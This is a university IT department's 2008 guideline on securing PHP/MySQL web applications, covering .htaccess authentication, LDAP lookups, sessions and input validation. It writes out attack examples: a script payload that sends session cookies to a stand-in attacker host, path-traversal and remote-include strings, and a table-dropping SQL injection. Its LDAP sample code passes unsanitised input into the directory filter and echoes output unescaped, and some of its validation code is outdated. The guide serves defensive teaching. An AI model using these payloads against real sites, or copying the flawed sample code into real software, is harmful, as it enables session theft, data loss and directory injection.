IST Guidelines: Web Application Development

Neil Patterson                                                                                     November, 2008

 

Introduction. 2

Identifying clients seeking web site services. 2

Practices. 2

System Requirements. 3

Secure Sockets Layer (SSL) 3

Authenticating against the University Directory of User Names and Passwords. 4

Use .htaccess Controls. 4

Limiting Access to Group Members. 4

Active Directory, ADS, User Name Attributes. 5

HTML Prompts. 5

PHP. 6

Maintaining A Session State. 7

Session Injection. 8

Coding Practices. 8

Include File. 8

Server Side Data Validation. 9

Browser Side Data Validation. 9

Command Injection. 10

Cross Site Scripting. 10

Cross Site Request Forgeries. 11

Database Practices. 11

Credentials. 11

SQL Injection: 11

Table Locks. 12

HTML.. 12

Cookies. 12

Maintaining Error And Activity Logs. 12

References: 14

World Wide Web Consortium and Validating HTML.. 15

 


Introduction

 

IST provides web services to the University campus. This document lists guidelines and best practices intended for web developers whose web services deliver information and service to the university community.

 

The client is the person contacting Client Services, or other IST personnel, seeking service. The operator is the person using a client’s web service. We must anticipate the operator’s actions in advising the client. The service agent is an IST Client Services staff or other IST staff involved in providing web services. The unspeakable and improbable, yet possible, person knowingly causing harm is referred to as the Malicious Intender. We must anticipate the malicious person’s actions in advising the client.

 

Identifying clients seeking web site services

 

How does a client communicate to IST that she wishes to develop or install a web service?

Any request for the creation, modification or removal of web services must be submitted through the IST request system, see http://ist.uwaterloo.ca/isthome/istproblem.htm

 

The client has purchased a software system. The vendor lists more than one supporting database system. The client asks which database method is most suitable?

Without further criteria, choose MySQL.

 

The client has purchased a software system that requires Microsoft’s SQL Server. Is it supported?

All support must be provided by the vendor.

 

The client wants to develop their own web application. What software should I use? What request must I make to instantiate a service?

Begin by authorising your request as per the details in the document http://ist.uwaterloo.ca/istweb/webservers.htm Then mail a request to the Request system of the form:

“I would like to create a MySQL database on pole and store PHP scripts for the purpose of experiencing the development environment.  Please arrange the necessary privileges.”

 

Practices

 

Any request for the creation, modification or removal of web services must be submitted through the IST Request system, see http://ist.uwaterloo.ca/isthome/istproblem.htm

 

All Systems require development or testing before being implemented into production. All systems will therefore begin on a development system before the migration to production. Acquire, or prepare, migration instructions in anticipation of this event.

 

Use PHP to validate operator supplied information against the Session store, or a database, from the server. Use JavaScript to validate operator supplied information at the browser. Validate:

            Strings

            Numbers

            Dates and Time

            Email address

            Postal code

See the section Server Side Data Validation for some details. All input must be filtered and all output must be escaped.

 

Performing client side validation expedites feedback on operator errors. It allows you to check each field as entered rather than all fields at once from the server. However replicate the validation procedure on the server as you have no control over what happens on the client side. Never trust the operator or the browser.

 

System Requirements

Secure Sockets Layer (SSL)

A web page that asks an operator to enter a user name, a password or any other information that is determined confidential must encrypt that information before transferring the responses to the web server. SSL is the technology recommended for encrypting such information.

 

To employ SSL:

  1. Use a server whose URL begins with https, for example: https://pole.uwaterloo.ca

 

  1. Assure a certificate is installed on the operator’s computer that will communicate appropriately with an SSL server. The document http://ist.uwaterloo.ca/security/howto/2002-07-03/ Secure E-Commerce explains certificate acquisition and validation.

 

  1. Add the following instructions to your .htaccess file forcing the use of SSL:

SSLRequireSSL

satisfy all

require valid-user

 

Authenticating against the University Directory of User Names and Passwords

Use .htaccess Controls

See [5] for a history of .htaccess changes in authenticating against the UW directory.

 

Each application requiring authentication will have an .htaccess file in its starting directory that augments the server wide Apache configuration. The .htaccess controls apply to the files in the starting directory and all subordinate directories. The Authorization Type defined by IST’s servers is Basic which would transfer user names and passwords unencrypted over the network. Therefore make sure the operator addresses only https connections and have a valid certificate installed on their computer.

 

Require an operator’s use of an SSL connection. See the section Secure Sockets Layer (SSL) and also [12], [13].

 

You may limit access to computers on campus with the directives:

      Order deny, allow

      Deny from all

      allow from 129.97

 

Permit everyone in the UW directory access using:

      require valid-user

 

Once an operator has offered their credentials and a match is found in the directory the requested web document will be run. Your script may identify the authenticated user name in the PHP variable:  $_SERVER["PHP_AUTH_USER"]

 

Limiting Access to Group Members

The Human Resources and Registrar’s offices have defined the status of people in the University directory by assigning their UW Directory identifier to one or more groups. You may limit access to your web pages to members of one or more of these groups.

 

Add the following line to your .htaccess file and limit web page access to University staff.

 

        require ldap-attribute memberOf="CN=IdM-HR-staff,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"

 

The name IdM-HR-staff limits access to staff members as defined by the Human Resources department. The following table lists alternatives.

Name

Population

IdM-HR-staff

All UW Staff

IdM-HR-faculty

All UW Faculty

IdM-HR-employee

All currently employed by UW

IdM-student

All currently enrolled students

IdM-SA-Applied Health Sciences

Applied Health Sciences

IdM-SA-Arts

Arts

IdM-SA-Engineering

Engineering

IdM-SA-Environmental Studies

Faculty of Environment

IdM-SA-Mathematics

Mathematics

IdM-SA-Science

Science

 

To permit two or more groups access, add the appropriate lines. For example, to permit both Staff and Faculty access add:

        require ldap-attribute memberOf="CN=IdM-HR-staff,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"

        require ldap-attribute memberOf="CN=IdM-HR-faculty,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"

 

Active Directory, ADS, User Name Attributes

The objective is to query the Active Directory regarding a registered user name. You require credentials to connect to the Active Directory which is referred to below as the Service Account. This exercise involves an HTML file asking for a registered user’s name and a selection of attributes. Also involved is a PHP script that processes the operator’s selections and builds a report.

 

We do not support anonymous connections to the University Directory. Therefore you must have a full set of credentials, user name and password, to connect to the directory. Use the Request system to ask for the creation of an account to service your application describing explicitly the required access of the account. For example:

limit the account to read a user name and department name only.

Use of a login account for web services is prohibited.

 

HTML Prompts

<html>

<head>

<title>User Information</title>

</head>

<body>

<h1>Identify</h1>

 

Select user attributes to be reported.

<form action="LDAP fn.php" method=post>

<table>

<tr><td Align=right>User Name     <td><input type="text" name="username">

 

<tr><td Align=right>Department    <td><input type="checkbox" name="attribute[]" value="department">

<tr><td Align=right>Mail          <td><input type="checkbox" name="attribute[]" value="mail">

<tr><td Align=right>First Name    <td><input type="checkbox" name="attribute[]" value="givenname">

<tr><td Align=right>Surname       <td><input type="checkbox" name="attribute[]" value="sn">

<tr><td Align=right>Canonical Name<td><input type="checkbox" name="attribute[]" value="cn">

</table>

<p>

<input type=submit value="Look up">

</form>

</body>

</html>

 

PHP

Identify the person whose directory attributes are of interest:

      $Searchfor = $_POST["username"];

 

Declare the credentials of a service account that will perform the required Directory search. The credentials will have been defined for you as per your request for a Service Account. Store the credentials in an external file stored outside of the web space. See the section Include File.

      $Server         = "ads.uwaterloo.ca";

      $filter         = "sAMAccountName=$Searchfor";

$Service_acct   = 'sacct';

$Root           = "DC=ads,DC=uwaterloo,DC=ca";

$Principal_name = “$Service_acct@$Server";

$ServicePWD     = $Password; //Defined in an external PHP script.

 

List a set of possible attributes to be extracted from the Directory. This list must correspond with the list in the above HTML file:

      $Attribute_list = array(

            "department" => "Department",

            "mail"       => "Mail",

            "givenname"  => "First Name",

            "sn"         => "Surname",

            "cn"         => "Canonical Name"

            );

 

Identify an LDAP server:

      $ldapserver=ldap_connect($Server)

            or die("<p>Server $Server unavailable for service.<p>");

 

Offer the credentials of the Service Account:

      $bind = ldap_bind($ldapserver,$Principal_name,$ServicePWD);

      if( empty($bind) )

      {

            print "<p>Authentication failed. Check Server name and the validity of the credentials.<p>";

            ldap_close($ldapserver);

            exit(0);

      }

 

At this point we have authenticated against the directory and will perform the search. Process the operator selections:

      $Selections = $_POST['attribute'];

 

Run the query and obtain a record set:

      $result = ldap_search($ldapserver,$Root,$filter,$Selections);

      $info = ldap_get_entries($ldapserver,$result);

 

Did we obtain any information?

      if($info["count"] == 0)

      {

            print "<p>No response for the specified criteria.<p>";

      }

 

If there are data build an HTML table:

      else

      {

            print "<table border=2><tr>";

            foreach ( $Selections as $attribute ) {

                  print "<th>" . $Attribute_list[$attribute];

            }

            for($i=0;$i<$info["count"];$i++)

            {

                  $row[$i] = "<tr>";

                  foreach ( $Selections as $attribute ) {

                        $row[$i] .= "<td>" . $info[$i][$attribute][0];

                  }

            }

            sort($row);

            for($i=0;$i<$info["count"];$i++) print $row[$i] . "\n";

            print "</table>";

      }

 

      print "</body></html>";

 

Goodbye!

      ldap_close($ldapserver);

 

 

Maintaining a Session State

 

If your web application requires two or more information exchanges with a web server then you may need to initiate a Session State. We recommend that information required to maintain a state be retained on the web server and not the browser (see Cookies). A database may also be available on the server to store information. A session is used to maintain:

·         Whether a client is logged on

·         Data collected from earlier requests, e.g. shopping cart

 

A session begins with the assignment of a session identifier. The identifier is exchanged between browser and server to maintain session information. To start a session:

            session_start();

PHP’s default behaviour is to maintain session information on the server. This function must be called prior to the display of any other content in the browser. Session data are maintained in the associative array $_SESSION.

 

Always end a session:

      session_destroy();

Session Injection

Imagine the client designs a web application with multiple interactions and uses session_start() to maintain operator information. Imagine that Malicious Intender tricks the operator in going to the web site with a URL like:

            https://server.uwaterloo.ca/application.php?PHPSESSID=1234

Because a session ID is provided a new identifier is not generated. The operator does business as usual. The Malicious Intender may now have full access to the session data because they know its identifier. You’ve been hacked!

 

To avoid this situation test for the existence of a privately named variable and create a new session ID if that private variable has not yet been defined:

      if (!isset($_SESSION["pnvvar"])) {

            session_regenerate_id();

            $_SESSION['pnvvar'] = true;

      }

See [9] , section Session Fixation.

Coding Practices

 

If you intend to prepare JavaScript or use ActiveX components, review the guidelines at http://ist.uwaterloo.ca/security/howto/2002-07-03/ section Client HTML.

 

Use of any function that launches a script or binary program on the server is prohibited. See the section Command Injection.

 

Always use the POST method on an HTML form to pass information to a PHP script on the server.

 

Include File

If you expect to use information such as a service account name and password, define these in a php document, such as Declarations.php stored outside of the web space. Include the file in a script with the instruction:

      require_once "../Include/Declarations.php"

This method minimizes maintenance when multiple pages require this common information and a password is changed or when the entire authorization system is to be suppressed.

 

Server Side Data Validation

Strings:

If the expected response is limited, use a drop down list or a series of radio buttons or check boxes to prevent the operator from supplying harmful text. Otherwise see [6] , page 288.

  1. Operator must provide some content: strlen($strValue) > 0;
  2. Only alphabetic: !ereg("^[[:alpha:]]+$ ", $strValue); See [7]
  3. If non alphabetic characters must be accepted then escape them:

$Screen = "";

$Screen = htmlentities($strValue, ENT_QUOTES);

 

Numbers

  1. ereg("^-?[1-9][0-9]*(\.[0-9]+)?$", $numValue); See [7]
  2. is_numeric($numValue);

 

Dates

Prompt the operator for three integers representing Day, Month and Year. Determine if the given date is valid:

if ( !checkdate( $Month, $Day, $Year ) ) {

            echo "<br>Not valid.<p>";

}

else

{

            echo "<br>Valid.<p>";

}

See the Calendar classes of the PEAR package.

 

Email address

See [6] example 9-2, for a lengthy parse and validation logic applied to an operator supplied e-mail address. This process tests a legitimate mail server name and assesses some client name part convention.

 

Postal code

ereg("^[ABCEGHJ-NPRSTVXY][0-9][ABCEGHJ-NPRSTV-Z] [0-9][ABCEGHJ-NPRSTV-Z][0-9]$", $pcodeValue);

 

Browser Side Data Validation

While validating information at the browser is faster than at the server you may never be entirely confident the data are error free. You will likely often double check the data with PHP or in the database logic.

 

Firefox users can type javascript: in the Address bar and be assisted by a JavaScript debugging window. Not so with IE 6.

 

Dates

Using a graphical calendar written in JavaScript makes date selection by the operator much easier than requiring her to type integers. Validating the date at the browser side expedites date selection and minimizes server processing. See http://www.softcomplex.com/products/tigra_calendar as an example.

 

Using JavaScript to check the typed integers at the browser is also possible. See http://www.smartwebby.com/DHTML/date_validation.asp

 

Strings

See [6] , example 9-12 for an extensive check of form field content. The script uses JavaScript (example.9-12.js), a PEAR IT template (example.9-14.tpl), PHP and HTML (example.9-13.php) to prompt an operator for information requiring certain fields have content before transferring the information to the server.

 

Assuming the browser allows JavaScript and ActiveX controls limits the use of your application.

 

Command Injection

Avoid launching a process on the server from a web application.

 

Another situation involves the include command where the file name included is derived from operator input:

      include "directory/$filename";

The Malicious Intender may type something like “../../etc”.  Even using a constant filename suffix such as:

      include "directory/$filename.html";

may be pirated with the expression “../../etc%00” where the representative NULL terminates the string avoiding the .html. The include can refer to a URL so that the Malicious Intender can introduce “../../http://server/file.php%00” and have your PHP interpreter run their code.

 

The function fopen() is also subject to the same abuse allowing an Malicious Intender access to any file on the server that the web service is allowed access to. Use the basename() function to strip off any directory specifications.

 

Functions to avoid: exec(), system(), fopen(), popen(), passthru(), shell_exec(). If you must converse with the server filter the data including such functions as escapeshellcmd() and escapeshellarg(). See [10]

 

Cross Site Scripting

Any web form that collects text, as in the HTML text tag or textarea tag, is vulnerable to malicious intent when that text is not checked for unsuitable content before being processed by the form’s PHP script. Unsuitable content is a URL or PHP or JavaScript code fragment or MySQL code fragment. Processing involves the PHP script passing that text to the PHP interpreter or MySQL service before being checked (filtered or sanitized). For example, if you collect a comment from an operator:

Comment: <textarea name=”comment” rows=”10” cols=”30”></textarea>

Then display that comment back to the operator:

      echo “<blockquote>$_POST[‘comment’]</blockquote>”

And that operator entered the comment:

      <script>document.location=’http://badperson.org/bad.php?cookies=’ + document.cookie</script>

Then the operator will have a copy of any cookies currently defined by the session.

 

To avoid this situation see the section Server Side Data Validation.

 

Cross Site Request Forgeries

Imagine having developed an interactive web application and having at least one operator in the middle of the session. Imagine then a Malicious Intender sending a completely formed URL that another copy of your PHP script processes believing it is the currently connected operator who submitted the request. To avoid this situation never use the $_REQUEST global variable to detect user requests; use $_POST. The $_REQUEST array is formed from both POST and GET methods. Use sessions and check that user data all belong to the same session.

 

See [8] , pg 24, Cross-Site Request Forgeries for more detail.

 

 

Database Practices

Credentials

Store database credentials in an include file. If a Malicious Intender derives the name of that file and addresses it directly, e.g. https://server/application/Include/include.inc then the contents may very well be exposed. To avoid:

  1. Have the server administrator protect files of .inc from being displayed.
  2. Store the file outside of the web server’s access with permissions that allow the application read access to the file.
  3. Name such files with a suffix of .php. Credentials declared as PHP variables will not be exposed by directly referencing the file.

 

SQL Injection:

Assume your application makes use of a database. Your web form asks the operator to enter a name. Your application constructs a query to the database by appending the given name to the end of the query. For example you build the instruction:

      SELECT * FROM database.table WHERE name = “$name”;

Which possibly translates to:

      SELECT * FROM database.table WHERE name = “sacct”;

But could translate to:

      SELECT * FROM database.table WHERE name = “sacct”; Drop table users;

If the operator typed “sacct”; Drop table users; in the name field.

 

  1. Review operator submissions before inserting into an SQL expression.

 

  1. Use a database Service Account with limited privileges that would prohibit it from being authorised to drop a table.

 

  1. Use the function mysql_real_escape_string() to remove unwanted special characters from the operator input.

 

  1. Use mysql_error() to review database access problems but do not reveal the response to the operator as it may reveal some database structure.

 

  1. The above example is a multiple statement expression. MySQL rejects expressions with multiple statements.

 

Table Locks

Table locking from a web application is high risk. If you must lock a table make sure that all steps (lock, query, update, unlock) all occur in the same page. While mysql_pconnect() (persistent connection) will sustain a locked table, mysql_connect() will release a locked table when the connection is closed. Explicitly UNLOCK, do not assume unlocks happen under other circumstances. See [6]

 

HTML

Cookies

Cookies are small data files that exist on the operator’s computer, for example C:\Documents and Settings\username\Cookies\, that contain two HTTP controls, or headers. Their purpose is to maintain continuity between two or more interactions of a web server and an operator. PHP has a setcookie() function. See [9] .

 

An alternative mechanism is to use PHP’s session management functions including the session_start() function which maintains data on the server.

 

 

Maintaining Error and Activity Logs

Error reporting should be set at its highest state during Development to inform the developer of mal formed code but limited in Production so that mal formed people are not informed.

 

Development:

<?php

ini_set(‘error_reporting’, E_ALL | E_STRICT);

ini_set(‘display_errors’, ‘On’);

ini_set(‘log_errors’, ‘On’);

ini_set(‘error_log’, ‘Logs/Application_errors.log’);

?>

 

Production:

<?php

      ini_set(‘error_reporting’, E_ALL | E_STRICT);

      ini_set(‘display_errors’, ‘Off’);

      ini_set(‘log_errors’, ‘On’);

      ini_set(‘error_log’, ‘Logs/Application_errors.log’);

?>

 

An application, in production, may wish to manage usage information. It is recommended this information be managed within a database and not on the server’s file system. Be vigilant in the removal of out dated information.


References:

 

[1] IST Servers

http://ist.uwaterloo.ca/istweb/webservers.htm

 

[2] Best Current Practices, R. Quinton, 1998

http://ist.uwaterloo.ca/security/position/bcp/paper.pdf

 

[3] Secure E-Commerce, R. Quinton,

http://ist.uwaterloo.ca/security/howto/2002-07-03/paper.pdf

 

[4] htaccess controls

http://httpd.apache.org/docs/2.0/howto/htaccess.html

 

[5] UW Authentication

http://ist.uwaterloo.ca/security/howto/2002-11-15

 

[6] Web Database Applications With PHP and MySQL, 2nd Edition

Williams and Lane, O’Reilly, 2005

 

[7] PHP ereg

http://ca3.php.net/ereg

 

[8] Essential PHP Security, Chris Shiflett, O’Reilly, 2006

 

[9] Cookie specifications

http://hc.apache.org/httpclient-3.x/cookies.html

 

[10] Command Injection Filters

http://ca.php.net/manual/en/function.escapeshellcmd.php

http://ca.php.net/manual/en/function.escapeshellarg.php

 

[11] Vulnerabilities, R. Quinton

http://ist.uwaterloo.ca/security/vulnerable/20051125.shtml

 

[12] .htaccess examples

http://www.apache-ssl.org/docs.html#SSLRequireSSL

 

[13] Some useful hints for Apache 2.0

http://www.math.tu-clausthal.de/~matsa/linux/apache-nis/

 

[14] LDAP Authentication module

http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html

 

World Wide Web Consortium and Validating HTML

 

The World Wide Web consortium has prepared browser accessible tools that evaluate your developed HTML. See http://validator.w3.org/